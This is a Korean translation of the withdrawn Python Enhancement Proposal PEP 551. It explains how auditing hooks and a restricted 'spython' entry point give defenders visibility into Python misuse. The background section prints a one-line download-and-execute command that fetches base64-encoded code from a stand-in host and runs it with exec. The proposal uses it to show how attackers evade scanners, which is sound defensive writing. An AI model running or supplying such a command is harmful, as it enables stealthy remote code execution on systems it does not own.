Following system colour scheme Selected dark colour scheme Selected light colour scheme

Python 개선 제안 한국어 번역

PEP 551 – Python 런타임의 보안 투명성

Author:
Steve Dower <steve.dower at python.org>
Status:
Withdrawn
Type:
Informational
Created:
23-Aug-2017
Python-Version:
3.7
Post-History:
24-Aug-2017, 28-Aug-2017
Table of Contents

번역·라이선스 안내

이 문서는 Open Publication License v1.0 이상에 따라 만든 수정된 한국어 번역본입니다. 수정자: yeokja/yeokja 프로젝트. 수정일: 2026-08-29. 변경 내용: 영어 원문을 한국어로 번역했습니다. 원저자와 저작권 표시는 위 Author 필드와 아래 Copyright 절에 유지했으며, 이 번역은 원저자의 승인이나 보증을 뜻하지 않습니다. 수정되지 않은 기준 원문 · 공식 최신판 · Open Publication License v1.0

Note

이 PEP는 철회되었습니다. CPython을 보안 환경에 통합하는 방법에 관한 정보는 자체 보안 전문가에게 문의하시기 바랍니다.

PEP 578과의 관계

이 PEP는 최초 게시 이후 두 개로 분할되었습니다.

다음 버전의 Python에 추가하도록 제안된 감사 API는 PEP 578에서 확인하십시오.

이 문서는 이제 정보 제공용 PEP이며, Python을 보안 환경 또는 감사 환경에 통합하려는 사용자에게 지침을 제공합니다.

초록

이 PEP는 보안 투명성의 개념과 이것이 Python 런타임에 적용되는 방식을 설명합니다. 런타임이 수행하는 작업을 파악할 수 있다는 것은, Python을 그 밖에는 안전하거나 모니터링되는 환경에 통합하는 데 매우 중요합니다.

Python의 오용을 탐지하고 식별하며 분석하는 데 있어, PEP 578에 설명된 감사 훅은 필수 구성 요소입니다. 후크 자체는 중립적이지만(보고된 모든 이벤트가 본질적으로 오용인 것은 아니므로), 전체 시스템 또는 네트워크를 모니터링하는 책임이 있는 사용자에게 필수적인 맥락을 제공합니다. 충분한 투명성이 확보되면 공격자는 더 이상 숨을 수 없습니다.

배경

소프트웨어 취약점은 일반적으로 원격 코드 실행 또는 권한 상승 코드 실행을 가능하게 하는 버그로 간주됩니다. 그러나 현대의 연결된 세상에서 더 위험한 취약점은 지능형 지속 위협(APT)을 가능하게 하는 취약점입니다. 공격자가 네트워크에 침투하고 하나 이상의 컴퓨터에 자신의 소프트웨어를 설치한 뒤 시간이 지나면서 데이터나 정보를 빼낼 수 있을 때 APT가 성립합니다. 일부 APT는 데이터를 악의적으로 손상시키거나(예: WannaCrypt) 하드웨어를 손상시켜(예: Stuxnet) 자신의 존재를 드러낼 수 있습니다. 대부분은 자신의 존재를 숨기고 탐지를 피하려고 합니다. APT는 기존 취약점, 사회 공학, 피싱(또는 스피어 피싱), 철저한 네트워크 분석, 잘못 구성된 환경에 대한 이해를 조합하여 자신을 설치하고 작업을 수행하는 경우가 많습니다.

최초 감염된 컴퓨터가 최종 목표가 아닐 수도 있으며 특별한 권한이 필요하지 않을 수도 있습니다. 예를 들어 개발자의 컴퓨터에 관리자가 아닌 사용자로 설치된 APT는 정상적인 배포 경로를 통해 운영 컴퓨터로 확산될 수 있습니다. APT가 가능한 한 많은 컴퓨터에 지속적으로 존재하는 것은 흔한 일이며, 존재 규모 자체 때문에 완전히 제거하기가 어려워집니다.

공격자가 직접적인 피해를 일으키려 하든 자신의 흔적을 숨기려 하든, 탐지를 가로막는 가장 큰 장애물은 상황 파악의 부족입니다. 대규모 네트워크의 시스템 관리자는 분산 로그에 의존하여 컴퓨터에서 수행되는 작업을 파악하지만, 로그는 오류 상태만 표시하도록 필터링되는 경우가 많습니다. 탐지를 피하려는 APT는 오류나 비정상 이벤트를 거의 생성하지 않습니다. 정상 운영 로그를 검토하려면 상당한 노력이 필요하지만, 여러 회사가 운영 로그에서 자동 이상 탐지를 가능하게 하기 위한 작업을 진행하고 있습니다. 공격자가 선호하는 도구는 대상 컴퓨터에 이미 설치된 도구입니다. 이러한 도구의 로그 메시지는 정상적인 사용 중에 흔히 예상되고 무시되기 때문입니다.

이 시점에서는 APT의 존재나 이 PEP와 관련이 없는 방법 및 완화책에 대해 더 이상 논의하지 않겠습니다. 이 분야에 관한 추가 정보는 Further Reading 아래에 나열된 자료를 읽거나 시청하시기 바랍니다.

Python은 서버 및 개발자 컴퓨터에 널리 사용되고, 네이티브 바이너리와 달리 데이터로 제공되는 임의의 코드를 실행할 수 있으며, 내부 감사 기능이 전혀 없기 때문에 공격자에게 특히 흥미로운 도구입니다. 이를 통해 공격자는 단일 명령으로 악성 코드를 다운로드하고 복호화하며 실행할 수 있습니다.:

python -c "import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen('http://my-exploit/py.b64')
    ).decode())"

이 명령은 네트워크 연결을 통해 식별 가능한 코드가 읽히거나 디스크에 기록되는 것에 의존하는 대부분의 안티멀웨어 스캐너를 현재 우회합니다(base64만으로도 이러한 검사를 우회하기에 충분한 경우가 많습니다). 또한 파일 액세스 제어 목록이나 권한과 같은 보호 기능(파일 액세스가 발생하지 않음), 승인된 애플리케이션 목록(Python이 다른 용도로 승인되었다고 가정함), 자동화된 감사 또는 로깅(Python이 인터넷에 액세스하거나 페이로드를 가져올 로컬 네트워크의 다른 머신에 액세스하도록 허용되었다고 가정함)도 우회합니다.

보안 커뮤니티의 일반적인 합의는 공격을 완전히 방지하는 것이 불가능하며, 방어자는 공격이 성공한 후에야 공격을 탐지하는 경우가 많을 것으로 가정해야 한다는 것입니다. 이는 “침해를 가정하라”는 사고방식으로 알려져 있습니다. [1] 이 시나리오에서는 샌드박싱 및 입력 검증과 같은 보호 기능이 이미 실패했으며, 중요한 작업은 악성 코드를 탐지하고 추적하여 결국 제거하는 것입니다. 이를 위해 Python에 요구되는 주요 기능은 보안 투명성입니다. 즉, 비정상적이거나 악의적인 사용을 나타낼 수 있는 작업을 Python 런타임이 수행하는지 확인할 수 있는 능력입니다. 이러한 사용을 방지하는 것은 가치가 있지만, 그러한 사용이 발생하고 있음을 아는 데 필요한 것에 비하면 부차적입니다.

중요도가 높아지는 순서로 목표를 요약하면 다음과 같습니다:

  • 악의적인 사용을 방지하는 것은 가치가 있습니다.
  • 악의적인 사용을 탐지하는 것은 중요합니다.
  • 탐지를 우회하려는 시도를 탐지하는 것은 매우 중요합니다.

이러한 문제를 해결한 스크립팅 엔진의 한 예로 PowerShell이 있으며, PowerShell은 최근 투명성과 방지라는 유사한 목표를 향해 개선되었습니다. [2]

일반적으로 애플리케이션 및 시스템 구성에 따라 스크립팅 엔진 내에서 기록할 가치가 있는 이벤트가 결정됩니다. 그러나 많은 로그 이벤트의 가치는 공격이 탐지된 후에야 인식되므로, 가능한 한 많은 정보를 수집하고 원천에서 필터링하기보다 뷰를 필터링하는 것이 중요합니다(Further Reading의 No Easy Breach 비디오를 참조하십시오). 항상 관심을 가져야 하는 이벤트에는 감사 우회 시도, 올바르게 서명되지 않았거나 액세스 제어되지 않은 코드를 로드하고 실행하려는 시도, 디버깅 또는 프로세스 간 검사 도구와 같은 흔하지 않은 운영 체제 기능의 사용, 대부분의 네트워크 액세스 및 DNS 확인, 로컬 머신에서 파일이나 구성 설정을 생성하고 숨기려는 시도가 포함됩니다.

요약하면, 방어자는 비정상적이거나 악의적인 사용을 탐지하기 위해 Python의 특정 사용을 감사해야 합니다. PEP PEP 578을 통해 Python 런타임은 이를 제공할 수 있게 됩니다. 이 PEP의 목표는 시스템 관리자가 기존 감사 및 보호 시스템과 통합할 수 있는 보안 투명 Python 버전을 배포하도록 지원하는 것입니다.

Windows에서는 PEP 578에 의해 추가된 후크를 통해 통합할 수 있는 몇 가지 특정 기능이 다음과 같습니다:

  • Script Block Logging [3]
  • DeviceGuard [4]
  • AMSI [5]
  • Persistent Zone Identifiers [6]
  • 이벤트 추적(이벤트 전달 포함) [7]

Linux에서는 통합할 수 있는 몇 가지 특정 기능이 다음과 같습니다:

  • gnupg [8]
  • sd_journal [9]
  • OpenBSM [10]
  • syslog [11]
  • auditd [12]
  • SELinux 레이블 [13]
  • 가져온 모듈의 실행 비트를 확인하십시오.

macOS에서는 통합할 수 있는 몇 가지 기능이 다음과 같습니다:

전반적으로 이러한 플랫폼별 기능을 운영 머신에서 활성화할 수 있는 능력은 시스템 관리자에게 매우 매력적이며, 애플리케이션 개발자에게 Python을 더욱 신뢰할 수 있는 의존 요소로 만들어 줍니다.

진정한 보안 투명성은 Python만으로 완전히 달성할 수 없습니다. 런타임은 원하는 만큼 많은 이벤트를 감사할 수 있지만, 로그를 검토하고 분석하지 않는다면 아무런 가치가 없습니다. Python은 보안을 명분으로 제한을 부과할 수 있지만, 사용성이 저하될 수 있습니다. 서로 다른 플랫폼과 환경에는 특정 보안 기능에 대해 서로 다른 구현이 필요하며, 런타임을 완전히 사용자 지정할 자원이 있는 조직은 그렇게 하도록 권장해야 합니다.

요약 권고 사항

이러한 내용은 이후 절에서 더 자세히 논의하지만, 전체 논의의 틀을 제시하기 위해 여기에서 소개합니다.

시스템 관리자는 공격 표면을 줄이고 감사 후크를 안전하게 활성화하기 위해 대체 진입점(python.exe 또는 pythonX.Y이외)을 제공하고 사용해야 합니다. 제한할 수 있는 항목에 대한 논의는 Restricting the Entry Point에 나와 있습니다.

시스템 관리자는 파일 권한, 액세스 제어 목록 및 서명 검증 등 운영 체제에서 제공하는 모든 가용 조치를 사용하여 Python 설치의 수정을 방지해야 합니다.

시스템 관리자는 가능한 한 신속하게 모든 항목을 기록하고 로그를 중앙 위치에 수집해야 하며, 외부 링 머신에 로그를 보관하지 않아야 합니다.

시스템 관리자는 오용의 _detection_을 오용의 _prevention_보다 우선시해야 합니다.

진입점 제한

머신에 Python이 존재함으로써 노출되는 주요 취약점 중 하나는 시스템의 탐지나 검증 없이 임의의 코드를 실행할 수 있다는 점입니다. 기본 진입점(Windows에서는 python.exe, 다른 플랫폼에서는 pythonX.Y)이 명령줄과 표준 입력에서의 실행을 허용하며 기본적으로 어떤 후크도 활성화하지 않기 때문에 이 작업은 훨씬 쉬워집니다.

운영 머신에서는 기본 진입점 대신 수정된 진입점을 사용해야 한다는 것이 저희의 권고입니다. 개발 환경을 벗어나면 기본 진입점이 제공하는 유연성이 필요한 경우는 거의 없습니다.

이 절에서는 운영 머신에 권장되는 수준의 보안 투명성을 제공하는 가상의 spython 진입점(Windows에서는 spython.exe, 다른 플랫폼에서는 spythonX.Y)을 설명합니다. 함께 제공되는 예제 구현은 플랫폼별 코드를 피하기 위해 여러 가지를 양보했지만 여기에서 설명하는 기능 중 많은 것을 보여 줍니다. 충분한 구현을 위해서는 본질적으로 플랫폼별 보안 기능과의 통합이 필요합니다.

공식 배포판에는 기본적으로 어떤 spython도 포함되지 않지만, 서드파티 배포판에는 적절히 수정되어 동일한 이름을 사용하는 진입점이 포함될 수 있습니다.

대부분의 명령줄 인수 제거

spython진입점은 첫 번째 인수로 스크립트 파일을 전달해야 하며, 그 앞에는 어떤 옵션도 허용하지 않습니다. 이렇게 하면 메모리 내 데이터나 스크립트가 아닌 파일(예를 들어 -m pickle <path>을 사용하여 실행할 수 있는 피클)에서 임의의 코드를 실행하는 것을 방지할 수 있습니다.

-B(바이트코드를 기록하지 않음), -E(환경 변수를 무시함) 및 -s(사용자 사이트 없음) 옵션은 지정된 것으로 간주합니다.

프로세스와 동일한 전체 경로에 ._pth 접미사를 붙인 파일(Windows에서는 spython._pth, Linux에서는 spythonX.Y._pth)이 존재하면, 현재 for Windows에 설명된 규칙에 따라 해당 파일을 사용하여 sys.path를 초기화합니다.

예시를 위해 spython의 예제 구현은 대화형 모드로 시작하는 -i 옵션도 허용합니다. 제한된 진입점에는 이 방식을 권장하지 않습니다.

감사된 이벤트 기록

초기화 전에 spython은 감사된 모든 이벤트를 OS가 관리하는 로그 파일에 기록하는 감사 후크를 설정합니다. Windows에서는 이것이 Event Tracing 기능이고,[7]_ 다른 플랫폼에서는 syslog.[11]_로 전송됩니다. 공격자가 로컬 로그를 삭제하거나 시스템에 대한 정상적인 접근을 막으려 할 경우 정보가 손실되지 않도록 로그를 가능한 한 자주 시스템에서 복사합니다.

감사 후크는 모든 sys.addaudithook 이벤트도 중단하여 다른 후크가 추가되지 못하도록 합니다.

로깅 후크는 네이티브 코드로 작성되며 인터프리터가 초기화되기 전에 구성됩니다. 감사 없이 Python 코드가 실행되지 않도록 하고 Python 코드가 후크 등록을 막지 못하도록 보장할 수 있는 유일한 기회입니다.

주요 목표는 모든 Python 프로세스가 수행하는 모든 작업을 기록하여 기록된 이벤트를 대상으로 오프라인에서 탐지할 수 있도록 하는 것입니다. 모든 이벤트를 기록하면 더 심층적인 분석과 머신 러닝 알고리즘의 사용도 가능해집니다. 이는 공격자가 일정 기간 보호된 시스템에 계속 머무르려는 지속적 공격을 탐지하는 데 유용하며, 성공한 공격으로 인한 영향과 노출을 파악하기 위한 사후 분석에도 유용합니다.

spython의 예제 구현은 시연을 위해 로컬 시스템의 로그 파일에 기록합니다. -i로 시작하면 예제 구현은 모든 감사 이벤트를 로그 파일 대신 표준 오류에 기록합니다. 로그 파일 위치를 지정하는 데 SPYTHONLOG 환경 변수를 사용할 수 있습니다.

가져올 수 있는 모듈 제한

또한 초기화 전에 spython은 os.open_for_import로 열린 모든 파일을 검증하는 가져오기용 열기 후크를 설정합니다. 이 구현에서는 모든 파일에 .py 접미사가 있어야 하며(캐시된 바이트코드의 사용을 방지함), (filename, True_if_allowed)를 포함하는 사용자 지정 감사 이벤트 spython.open_for_import를 발생시킵니다.

파일을 연 후 전체 내용을 단일 버퍼로 메모리에 읽고 파일을 닫습니다.

컴파일은 나중에 compile 이벤트를 발생시키므로, 동적으로 생성된 코드에도 적용되는 메커니즘을 사용하여 지금 내용을 검증할 필요는 없습니다. 그러나 소스 파일 또는 파일 해시의 허용 목록을 사용할 수 있다면 DeviceGuard [4]와 같은 다른 검증 메커니즘을 여기에서 수행해야 합니다.

피클의 전역 변수 제한

spython 진입점은 기본 구현을 사용하는 모든 pickle.find_class 이벤트를 중단합니다. 재정의된 구현은 명시적으로 추가하지 않는 한 감사 이벤트를 발생시키지 않으므로 계속 허용됩니다.

os.system 방지

spython 진입점은 모든 os.system 호출을 중단합니다.

여기서 subprocess.Popen(shell=True)은 허용된다는 점에 유의해야 합니다(플랫폼별 프로세스 생성 이벤트를 통해 기록되기는 합니다). 실행 중인 애플리케이션이 여러 인자를 사용하는 함수보다 단일 문자열 인자를 사용하여 os.system을 호출하도록 유도하는 것이 훨씬 간단하므로 이러한 절충을 적용하며, 따라서 이는 익스플로잇의 일부로 사용될 가능성이 더 높습니다. 또한 프로덕션 코드에서 os.system을 사용할 근거는 거의 없는 반면, subprocess.Popen에는 합법적인 용도가 매우 많습니다. 다만 shell=True 인자를 사용했음을 나타내는 로그는 더 주의 깊게 검토해야 합니다.

시스템 관리자에게는 제한과 탐지 사이에서 이러한 종류의 절충을 적용하고 일반적으로 탐지를 우선시할 것을 권장합니다.

일반 권장 사항

이전 절에서 제안한 사항을 넘어서는 권장 사항은 어렵습니다. 어떤 환경에서든 이상적인 구성은 시스템 관리자가 자체 네트워크의 활동을 관리하고 모니터링하며 대응할 수 있는 능력에 달려 있기 때문입니다. 그럼에도 여기에서는 Python을 완전한 시스템에 통합하기 위한 일부 맥락과 지침을 제공하고자 합니다.

이 절에서는 should(또는 should not)라는 용어를 사용하여 해당 조언을 무시하는 것이 위험하다고 판단함을 나타내고, may라는 용어를 사용하여 해당 조언을 고가치 시스템에 고려해야 함을 나타내는 권장 사항을 제공합니다. sysadmin이라는 용어는 네트워크 전체에 Python을 배포할 책임이 있는 사람을 가리키며, 조직마다 책임자를 부르는 다른 명칭을 사용할 수 있습니다.

시스템 관리자는 자체 진입점을 구축해야 하며, 아마도 spython 소스에서 시작하여 환경에서 이용 가능한 보안 시스템과 직접 연동해야 합니다. 통합이 긴밀할수록 공격자가 해당 시스템을 우회할 수 있도록 하는 취약점이 발견될 가능성이 낮아집니다. 특히 진입점은 환경 변수와 같은 현재 환경의 설정을 가져와서는 안 되며, 해당 설정이 다른 방식으로 수정되지 않도록 보호되는 경우는 예외입니다.

감사 메시지는 로컬 파일에 기록해서는 안 됩니다. spython 진입점은 예제 및 테스트 목적으로 이를 수행합니다. 프로덕션 머신에서는 이러한 목적으로 사용하도록 설계된 ETW [7] 또는 auditd [12]와 같은 도구를 사용해야 합니다.

기본 python 진입점은 프로덕션 머신에 배포해서는 안 되지만, 개발자가 비프로덕션 머신에서 Python을 사용하고 테스트하도록 제공할 수는 있습니다. 시스템 관리자는 네트워크에 연결된 모든 시스템이 잠재적인 표적이므로, 개발자 머신에 자체 진입점의 덜 제한적인 버전을 배포하는 것을 고려할 수 있습니다. 시스템 관리자는 추가 감사가 포함되어 있다는 사실을 감추기 위해 자체 진입점을 python으로 배포할 수 있습니다.

Python 배포본은 배포 후와 사용하는 동안 이용 가능한 플랫폼 기능을 사용하여 읽기 전용으로 만들어야 합니다.

이를 지원하는 플랫폼에서는 시스템 관리자가 Python 배포본의 모든 파일에 대한 서명을 포함해야 하며, 이상적으로는 개인 인증서를 사용하여 검증해야 합니다. 예를 들어 Windows는 실행 파일에 서명을 삽입하고 다른 파일에는 카탈로그를 사용하는 기능을 지원하며, DeviceGuard [4]를 사용하여 서명을 자동으로 또는 open_for_import 후크를 사용하여 검증할 수 있습니다.

시스템 관리자는 가능한 한 많은 감사 이벤트를 로그에 기록해야 하며, 로컬 머신 밖으로 로그를 자주 복사해야 합니다. 의심스러운 활동을 지속적으로 모니터링하지 않고 있더라도, 공격이 감지된 후에는 감사를 활성화하기에 너무 늦습니다. 공격 진행 상황을 분석할 때는 무해한 이벤트도 유용하므로, 감사 훅은 이벤트를 선제적으로 필터링하려 해서는 안 됩니다. (이 측면을 더 자세히 보려면 Further Reading에 있는 “No Easy Breach” 동영상을 시청하십시오.)

대부분의 작업은 정상적인 사용 중에 한 번이라도 발생할 수 있거나, 이를 방지하면 공격자가 우회하려 할 수 있는 경우 중단해서는 안 됩니다. 앞서 설명했듯이 인식이 방지보다 더 높은 우선순위를 갖습니다. 시스템 관리자는 Python 코드를 감사할 수 있으며, 의도적으로 사용되지 않는 것으로 알려진 작업을 중단할 수 있습니다.

감사 훅은 중단을 시도하기 전에 이벤트를 로그에 기록해야 합니다. 앞서 논의했듯이 악의적인 작업을 방지하는 것보다 기록하는 것이 더 중요합니다.

시스템 관리자는 이벤트 간 상관관계를 식별해야 합니다. 상관관계가 있는 이벤트의 변화는 오용을 나타낼 수 있기 때문입니다. 예를 들어 모듈 가져오기는 일반적으로 import 감사 이벤트를 발생시킨 다음 open_for_import 호출과 대개 compile 이벤트를 발생시킵니다. 감사를 우회하려는 시도는 이러한 이벤트 중 일부를 억제하지만 전부를 억제하지는 않는 경우가 많습니다. 따라서 로그에 import 이벤트는 포함되어 있지만 compile 이벤트는 포함되어 있지 않다면 조사가 필요할 수 있습니다.

첫 번째 감사 훅은 Py_Initialize가 호출되기 전에 C 코드에서 설정되어야 하며, 해당 훅은 sys.addloghook 이벤트를 무조건 중단해야 합니다. Python 인터페이스는 주로 테스트 및 개발을 위한 것입니다.

비프로덕션 머신에서 감사 훅이 추가되는 것을 방지하기 위해, 진입점은 sys.addloghook 이벤트를 중단하지만 그 밖에는 아무 작업도 하지 않는 감사 훅을 추가할 수 있습니다.

프로덕션 머신에서는 Py_Initialize가 호출되기 전에 C 코드에서 비검증 open_for_import 훅을 설정할 수 있습니다. 이렇게 하면 이후 코드가 해당 후크를 재정의하지 못하지만, 어떤 코드도 이를 호출할 필요가 없어야 하므로 setopenforexecutehandler 이벤트를 기록하는 것은 유용합니다. 최소한 spython의 예제 open_for_import 후크 구현을 사용하는 것이 권장됩니다.

importlib의 open_for_import 사용은 몽키 패칭으로 쉽게 우회될 수 있으므로, 타입 객체의 속성 변경을 탐지하는 감사 훅을 사용해야 합니다.

하지 말아야 할 사항

이 절에서는 우리가 특히 제시하지 않는 일반적이거나 “분명히 좋은” 권고 사항을 논의합니다. 이러한 사항은 쓸모없거나 잘못된 것부터 실제 환경에서는 전혀 실행할 수 없는 아이디어에 이르기까지 다양합니다.

Python 런타임 내부에 샌드박스를 구현하려고 시도하지 마십시오. [14]와 같이 임의의 코드가 Python 기능을 제한적으로 사용하도록 허용하려는 시도는 오랜 역사를 지니지만, 일반적으로 성공한 사례는 없습니다. 가장 나은 방법은 최소한 하이퍼바이저 수준의 격리가 적용된 샌드박스 환경에서 제한 없는 Python을 실행하거나, 인증되지 않은 코드가 아예 시작되지 않도록 방지하는 것입니다.

사용하기 전에 신뢰할 수 없는 코드를 검증하기 위해 정적 분석에 의존하지 마십시오. 가장 나은 방법은 코드 서명 등을 사용하여 신뢰할 수 있는 코드를 사전 승인하고, 이것이 불가능하다면 안티멀웨어 스캐너 등을 사용하여 알려진 악성 코드를 식별하는 것입니다.

먼저 이벤트를 기록하지 않고 작업을 중단하기 위해 감사 훅을 사용하지 마십시오. 프로세스가 사라진 이유를 알 수 없게 된 것을 후회하게 됩니다.

[TODO - 더 나쁜 조언]

추가 읽을거리

멀웨어 재정의: 오래된 용어가 새로운 위협을 초래할 때
SecurityWeek를 위해 Aviv Raff가 2014년 1월 29일에 작성했습니다.

이 문서와 이 문서에서 연결한 문서들은 APT의 증가와 “전통적인” 멀웨어와의 차이를 개괄적으로 요약합니다.

http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats

사이버 공격의 해부
FireEye가 2017년 8월 23일에 열람했습니다.

APT가 사용하는 기법과 여러 관련 백서에 대한 링크를 요약합니다.

https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html

자동 트래픽 로그 분석: 지능형 위협 방지를 위한 필수 요소
SecurityWeek를 위해 Aviv Raff가 2014년 5월 8일에 작성했습니다.

상세한 로깅과 자동 분석의 가치를 개괄적으로 요약합니다.

http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection

쉬운 침해는 없습니다: 대규모 조사에서 얻은 과제와 교훈
2016년 SchmooCon에서 Mandiant를 위해 Matt Dunwoody와 Nick Carr가 발표한 영상입니다.

APT를 탐지하고 제거하는 데 사용한 절차와 도구를 자세히 설명합니다.

https://archive.org/details/No_Easy_Breach

국가 주도 해커 교란
2016년 USENIX Enigma에서 NSA를 위해 Rob Joyce가 발표한 영상입니다.

NSA Tailored Access Operation 책임자가 제시하는 우수한 보안 관행, 역량 및 권고 사항입니다.

https://www.youtube.com/watch?v=bDJb8WOJYdA

참고 자료

감사의 말

Python 런타임을 프로덕션 환경에서 더 안전하게 만드는 데 도움을 준 Microsoft의 모든 분들께 감사드리며, 특히 초기 조사와 분석, 구현의 상당 부분을 담당해 준 James Powell, 정보 보안 분야와 PowerShell의 대응에 대해 귀중한 통찰을 제공해 준 Lee Holmes, 절제와 균형을 잡아준 논의를 이끌어 준 Brett Cannon께 감사드립니다.